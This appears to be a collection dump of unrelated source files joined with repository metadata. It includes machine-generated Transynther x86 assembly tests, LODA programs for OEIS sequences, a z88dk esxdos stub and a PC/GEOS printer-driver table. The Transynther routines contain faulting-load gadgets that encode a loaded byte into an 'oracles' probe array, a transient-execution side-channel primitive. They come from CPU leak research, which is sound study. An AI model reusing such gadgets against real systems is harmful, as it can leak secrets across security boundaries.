.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %rax push %rcx push %rdi push %rsi lea addresses_A_ht+0xaa19, %rsi lea addresses_UC_ht+0x1ae99, %rdi nop nop nop nop nop inc %r14 mov $101, %rcx rep movsb nop nop nop cmp $62057, %rax lea addresses_D_ht+0xb199, %rsi lea addresses_UC_ht+0xb615, %rdi cmp %r10, %r10 mov $65, %rcx rep movsq nop nop nop nop cmp $25241, %rax pop %rsi pop %rdi pop %rcx pop %rax pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %r8 push %rax push %rbx push %rdx // Store mov $0x433e5c000000074f, %r11 nop cmp %rdx, %rdx mov $0x5152535455565758, %r14 movq %r14, %xmm0 movups %xmm0, (%r11) nop nop nop nop inc %r11 // Faulty Load lea addresses_A+0x6699, %rax nop nop nop add %r13, %r13 mov (%rax), %rdx lea oracles, %rax and $0xff, %rdx shlq $12, %rdx mov (%rax,%rdx,1), %rdx pop %rdx pop %rbx pop %rax pop %r8 pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_NC', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'00': 966} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
47.175258
2,897
0.662587
9fb7fb83fba8d3b09387e70ed28dd6db2299bdab
355
asm
Assembly
programs/oeis/171/A171449.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/171/A171449.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/171/A171449.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A171449: Powers of 2 (A000079) with 1 changed to -1. ; -1,2,4,8,16,32,64,128,256,512,1024,2048,4096,8192,16384,32768,65536,131072,262144,524288,1048576,2097152,4194304,8388608,16777216,33554432,67108864,134217728,268435456,536870912,1073741824,2147483648,4294967296,8589934592 mov $1,2 pow $1,$0 mov $2,4 lpb $2,1 mul $1,2 mov $2,$1 sub $1,3 lpe
29.583333
223
0.740845
4855980d25cba3dad9785d3b1cebadee20f34723
7,770
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_453.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_453.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_453.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r8 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_WC_ht+0x1c9f6, %r9 nop xor %r14, %r14 movb $0x61, (%r9) nop cmp $14607, %rdi lea addresses_D_ht+0xd5f6, %rsi lea addresses_WT_ht+0x1076, %rdi xor $30009, %r14 mov $17, %rcx rep movsw sub %rdi, %rdi lea addresses_A_ht+0x18966, %rcx nop nop nop nop cmp %r9, %r9 mov $0x6162636465666768, %rax movq %rax, %xmm2 vmovups %ymm2, (%rcx) nop add %rsi, %rsi lea addresses_UC_ht+0x167e6, %rcx nop nop add %r10, %r10 vmovups (%rcx), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %rax nop nop add $32440, %rax lea addresses_D_ht+0xf7f6, %rsi lea addresses_WC_ht+0x1ee, %rdi clflush (%rdi) nop sub $8139, %r8 mov $118, %rcx rep movsw xor $11202, %r8 lea addresses_A_ht+0x139f6, %rsi lea addresses_D_ht+0xf96, %rdi nop nop and $47544, %r14 mov $29, %rcx rep movsb inc %r10 lea addresses_WT_ht+0x4bf6, %rax nop nop nop dec %r8 movl $0x61626364, (%rax) nop nop nop inc %r14 lea addresses_normal_ht+0x45f6, %rsi lea addresses_A_ht+0xe5f6, %rdi nop nop sub $40642, %r10 mov $14, %rcx rep movsl nop nop nop nop cmp %rsi, %rsi lea addresses_WT_ht+0x8026, %rdi clflush (%rdi) nop nop cmp $33645, %r8 mov $0x6162636465666768, %r10 movq %r10, %xmm5 and $0xffffffffffffffc0, %rdi movaps %xmm5, (%rdi) nop nop nop nop sub $57291, %r10 lea addresses_D_ht+0x6aaa, %r14 nop add %rax, %rax mov (%r14), %esi nop nop nop dec %rcx lea addresses_WT_ht+0x185f6, %r14 and %rdi, %rdi vmovups (%r14), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %r9 nop nop nop nop cmp $15777, %rax lea addresses_normal_ht+0x118f6, %r14 and $58472, %rdi movb (%r14), %r10b nop nop nop and %rcx, %rcx lea addresses_normal_ht+0x1476, %r14 nop nop nop add $20421, %rcx movb (%r14), %al nop nop nop nop nop xor %rax, %rax pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r15 push %rax push %rdi push %rsi // Store lea addresses_A+0xc76, %r12 nop nop nop sub $6588, %r14 movw $0x5152, (%r12) nop nop nop inc %r15 // Load lea addresses_UC+0x18ff6, %r14 nop xor %rdi, %rdi movb (%r14), %r15b nop add $17128, %rax // Faulty Load lea addresses_RW+0x15df6, %r12 nop nop nop nop cmp %rsi, %rsi movntdqa (%r12), %xmm2 vpextrq $0, %xmm2, %rax lea oracles, %r14 and $0xff, %rax shlq $12, %rax mov (%r14,%rax,1), %rax pop %rsi pop %rdi pop %rax pop %r15 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_A', 'AVXalign': False, 'size': 2}} {'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_UC', 'AVXalign': True, 'size': 1}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 8, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1}} {'src': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}} {'src': {'NT': False, 'same': True, 'congruent': 1, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}} {'src': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 8, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4}} {'src': {'same': True, 'congruent': 10, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 7, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 4, 'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 16}} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
35.318182
2,999
0.655341
d5233f9aed0bec142bfcad8843984d8eb4217dc4
657
asm
Assembly
oeis/190/A190872.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/190/A190872.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/190/A190872.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A190872: a(n) = 11*a(n-1) - 9*a(n-2), a(0)=0, a(1)=1. ; Submitted by Jon Maiga ; 0,1,11,112,1133,11455,115808,1170793,11836451,119663824,1209774005,12230539639,123647969984,1250052813073,12637749213947,127764766035760,1291672683467837,13058516623824367,132018628710857504,1334678266205013241,13493293269857428115,136414121572586590096,1379115697869735638021,13942545582413812707367,140955960125724319038848,1425032651141243195061025,14406755521422156274321643,145649016875372530261988848,1472478385936298426412982541,14886421093420929918184908319,150498326554203543262317148640 mov $3,1 lpb $0 sub $0,1 mul $2,9 add $2,$3 add $3,$2 lpe mov $0,$2
50.538462
498
0.83105
5eae9efffcff6fba9f81213faee9eace29234f98
290
asm
Assembly
programs/oeis/155/A155616.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/155/A155616.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/155/A155616.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A155616: 5^n + 4^n - 1. ; 1,8,40,188,880,4148,19720,94508,456160,2215268,10814200,53022428,260917840,1287811988,6371951080,31591319948,156882857920,780119322308,3883416742360,19348364235068,96466943268400,481235204714228 mov $1,5 pow $1,$0 mov $2,4 pow $2,$0 add $2,5 add $1,$2 sub $1,6
26.363636
196
0.758621
900d3acc4cc2bccbe0edfcb8a8c87ca543210d24
155
asm
Assembly
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_m_setdrv.asm
Toysoft/z88dk
f930bef9ac4feeec91a07303b79ddd9071131a24
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_m_setdrv.asm
Toysoft/z88dk
f930bef9ac4feeec91a07303b79ddd9071131a24
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_m_setdrv.asm
Toysoft/z88dk
f930bef9ac4feeec91a07303b79ddd9071131a24
[ "ClArtistic" ]
null
null
null
; unsigned char esx_m_setdrv(unsigned char drive) SECTION code_esxdos PUBLIC esx_m_setdrv EXTERN asm_esx_m_setdrv defc esx_m_setdrv = asm_esx_m_setdrv
15.5
49
0.845161
353da105778337c7dd0ffaeb9352c71a1e065072
166
asm
Assembly
data/pokemon/dex_entries/chikorita.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
6
2021-06-19T06:41:19.000Z
2022-02-15T17:12:33.000Z
data/pokemon/dex_entries/chikorita.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
data/pokemon/dex_entries/chikorita.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
3
2021-01-15T18:45:40.000Z
2021-10-16T03:35:27.000Z
db "LEAF@" ; species name db "It loves to bask" next "in the sunlight." next "It uses the leaf" page "on its head to" next "seek out warm" next "places.@"
16.6
26
0.638554
1e071403b6e77dd36c5f10059eb637a5f334dbaf
12,024
asm
Assembly
Driver/Printer/DotMatrix/Prop9/prop9DriverInfo.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Driver/Printer/DotMatrix/Prop9/prop9DriverInfo.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Driver/Printer/DotMatrix/Prop9/prop9DriverInfo.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved PROJECT: PC GEOS MODULE: IBM Proprinter 9-pin printer driver FILE: prop9DriverInfo.asm AUTHOR: Dave Durran, 27 Feb 1990 REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 2/27/90 Initial revision Dave 5/92 Initial 2.0 version DESCRIPTION: Driver info for the prop 9-pin printer driver The file "printerDriver.def" should be included before this one $Id: prop9DriverInfo.asm,v 1.1 97/04/18 11:54:01 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Driver Info Resource This part of the file contains the information that pertains to all device supported by the driver. It includes device names and a table of the resource handles for the specific device info. A pointer to this info is provided by the DriverInfo function. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DriverInfo segment lmem LMEM_TYPE_GENERAL ;---------------------------------------------------------------------------- ; Device Enumerations ;---------------------------------------------------------------------------- DefPrinter PD_ALPS_ASP1000_I, "ALPS ASP1000 (IBM Mode)", pp2Info DefPrinter PD_ATT_570_I, "AT&T 570 (IBM Mode)", pp2Info DefPrinter PD_ATT_571_I, "AT&T 571 (IBM Mode)", xlInfo DefPrinter PD_AMSTRAD_DMP3000_I, "Amstrad DMP3000 (IBM Mode)", pp2Info DefPrinter PD_AXONIX_LITEWRITE_I, "Axonix LiteWrite (IBM Mode)", pp2Info DefPrinter PD_AXONIX_THINWRITE_I, "Axonix ThinWrite 100 (IBM Mode)", pp2Info DefPrinter PD_BLUECHIP_M200_I, "Blue Chip M200/NLQ (IBM Mode)", pp2Info DefPrinter PD_BROTHER_M1109_I, "Brother M-1109 (IBM Mode)", pp2Info DefPrinter PD_BROTHER_M1709_I, "Brother M-1709 (IBM Mode)", xlInfo DefPrinter PD_BROTHER_M1724L_I, "Brother M-1724L (IBM Mode)", xlInfo DefPrinter PD_BROTHER_M1809_I, "Brother M-1809 (IBM Mode)", pp2Info DefPrinter PD_BROTHER_M2518_I, "Brother M-2518 (IBM Mode)", xlInfo DefPrinter PD_BROTHER_M4018_I, "Brother M-4018 (IBM Mode)", xlInfo DefPrinter PD_BROTHER_TW6_I, "Brother Twinriter 6 (IBM Mode)", xlInfo DefPrinter PD_CITOH_5000_I, "C.Itoh 5000 (IBM Mode)", xlInfo DefPrinter PD_CITOH_C610_I, "C.Itoh C-610 (IBM Mode)", pp2Info DefPrinter PD_CITOH_CI2500_I, "C.Itoh CI-2500 (IBM Mode)", xlInfo DefPrinter PD_CITOH_C310_I, "C.Itoh ProWriter C-310 CXP (IBM Mode)", pp2Info DefPrinter PD_CITOH_CI3500, "C.Itoh TriPrinter CI-3500", xlInfo DefPrinter PD_CITOH_CI5000, "C.Itoh TriPrinter CI-5000", xlInfo DefPrinter PD_CANON_BJ130, "Canon BJ-130", bjInfo DefPrinter PD_CITIZEN_HSP500_I, "Citizen HSP-500 (IBM Mode)", pp2Info DefPrinter PD_CITIZEN_HSP550_I, "Citizen HSP-550 (IBM Mode)", xlInfo DefPrinter PD_CITIZEN_MSP40_I, "Citizen MSP-40 (IBM Mode)", pp2Info DefPrinter PD_CITIZEN_MSP55_I, "Citizen MSP-55 (IBM Mode)", pp2Info DefPrinter PD_CITIZEN_T124_I, "Citizen Tribute 124 (LQ interface, IBM Mode)", pp2Info DefPrinter PD_COPAL_5930_I, "Copal Writehand 5930 (IBM Mode)", xlInfo DefPrinter PD_COPAL_6730_I, "Copal Writehand 6730 (IBM Mode)", xlInfo DefPrinter PD_DATAPRODUCTS_8070_I, "Dataproducts 8070 Plus (IBM Mode)", xlInfo DefPrinter PD_DATAPRODUCTS_SI480_I, "Dataproducts SI 480 (IBM Mode)", xlInfo DefPrinter PD_DICONIX_150_I, "Diconix 150 + (IBM Mode)", pp2Info DefPrinter PD_DICONIX_300_I, "Diconix 300 (IBM Mode)", pp2Info DefPrinter PD_DICONIX_300W_I, "Diconix 300w (IBM Mode)", xlInfo DefPrinter PD_EPSON_DFX8000_I, "Epson DFX-8000 (IBM Mode)", xlInfo DefPrinter PD_EPSON_EX1000_I, "Epson EX-1000 (IBM Mode)", xlInfo DefPrinter PD_EPSON_EX800_I, "Epson EX-800 (IBM Mode)", pp2Info DefPrinter PD_EPSON_FX1050_I, "Epson FX-1050 (IBM Mode)", xlInfo DefPrinter PD_EPSON_FX850_I, "Epson FX-850 (IBM Mode)", pp2Info DefPrinter PD_FACIT_B3100_I, "Facit B3100 (IBM Mode)", pp2Info DefPrinter PD_FACIT_B3150_I, "Facit B3150 (IBM Mode)", pp2Info DefPrinter PD_FACIT_B3350_I, "Facit B3350 (IBM Mode)", xlInfo DefPrinter PD_FACIT_B3550_I, "Facit B3550 (IBM Mode)", xlInfo DefPrinter PD_FORTIS_DM1310_I, "Fortis DM 1310 (IBM Mode)", pp2Info DefPrinter PD_FORTIS_DM2210_I, "Fortis DM 2210 (IBM Mode)", pp2Info DefPrinter PD_FORTIS_DM2215_I, "Fortis DM 2215 (IBM Mode)", xlInfo DefPrinter PD_FORTIS_DM4110_I, "Fortis DQ 4110 (IBM Mode)", pp2Info DefPrinter PD_FORTIS_DM4210_I, "Fortis DQ 4210 (IBM Mode)", pp2Info DefPrinter PD_FORTIS_DM4215_I, "Fortis DQ 4215 (IBM Mode)", xlInfo DefPrinter PD_FUJITSU_DL2600_I, "Fujitsu DL2600 (IBM Mode)", xlInfo DefPrinter PD_FUJITSU_DL3400_I, "Fujitsu DL3400 (IBM Mode)", xlInfo DefPrinter PD_FUJITSU_DL5600_I, "Fujitsu DL5600 (IBM Mode)", xlInfo DefPrinter PD_FUJITSU_DX2300_I, "Fujitsu DX2300 (Type I)", pp2Info DefPrinter PD_FUJITSU_DX2400_I, "Fujitsu DX2400 (Type I)", xlInfo DefPrinter PD_GENICOM_3410XLQ_I, "Genicom 3410XLQ (IBM Mode)", xlInfo DefPrinter PD_GENICOM_3820_I, "Genicom 3820 (IBM Mode)", xlInfo DefPrinter PD_GENICOM_PS220_I, "Genicom Printstation 220 (IBM Mode)", xlInfo DefPrinter PD_HONEYWELL_466_I, "Honeywell Bull 4/66 (IBM Mode)", pp2Info DefPrinter PD_HYUNDAI_HDP1810_I, "Hyundai HDP-1810 (IBM Card)", pp2Info DefPrinter PD_HYUNDAI_HDP1820_I, "Hyundai HDP-1820 (IBM Card)", xlInfo DefPrinter PD_HYUNDAI_HDP910_I, "Hyundai HDP-910 (IBM Mode)", pp2Info DefPrinter PD_HYUNDAI_HDP920_I, "Hyundai HDP-920 (IBM Mode)", xlInfo DefPrinter PD_IBM_2380, "IBM Personal Printer Series II 2380", pp2380Info DefPrinter PD_IBM_2381, "IBM Personal Printer Series II 2381", pp2381Info DefPrinter PD_IBM_PP2, "IBM Proprinter II", pp2Info DefPrinter PD_IBM_PP3, "IBM Proprinter III", pp2Info DefPrinter PD_IBM_PP3XL, "IBM Proprinter III XL", xlInfo DefPrinter PD_IBM_PPXL, "IBM Proprinter XL", xlInfo DefPrinter PD_LASER_190E_I, "Laser 190E (IBM Mode)", pp2Info DefPrinter PD_LASER_240_I, "Laser 240 (IBM Mode)", pp2Info DefPrinter PD_MANN_TALLY_222_I, "Mannesmann Tally 222 (IBM Mode)", xlInfo DefPrinter PD_MANN_TALLY_230_I, "Mannesmann Tally 230/24 (IBM Mode)", xlInfo DefPrinter PD_MANN_TALLY_340_I, "Mannesmann Tally 340 (IBM Mode)", xlInfo DefPrinter PD_MANN_TALLY_81_I, "Mannesmann Tally 81 (IBM Mode)", pp2Info 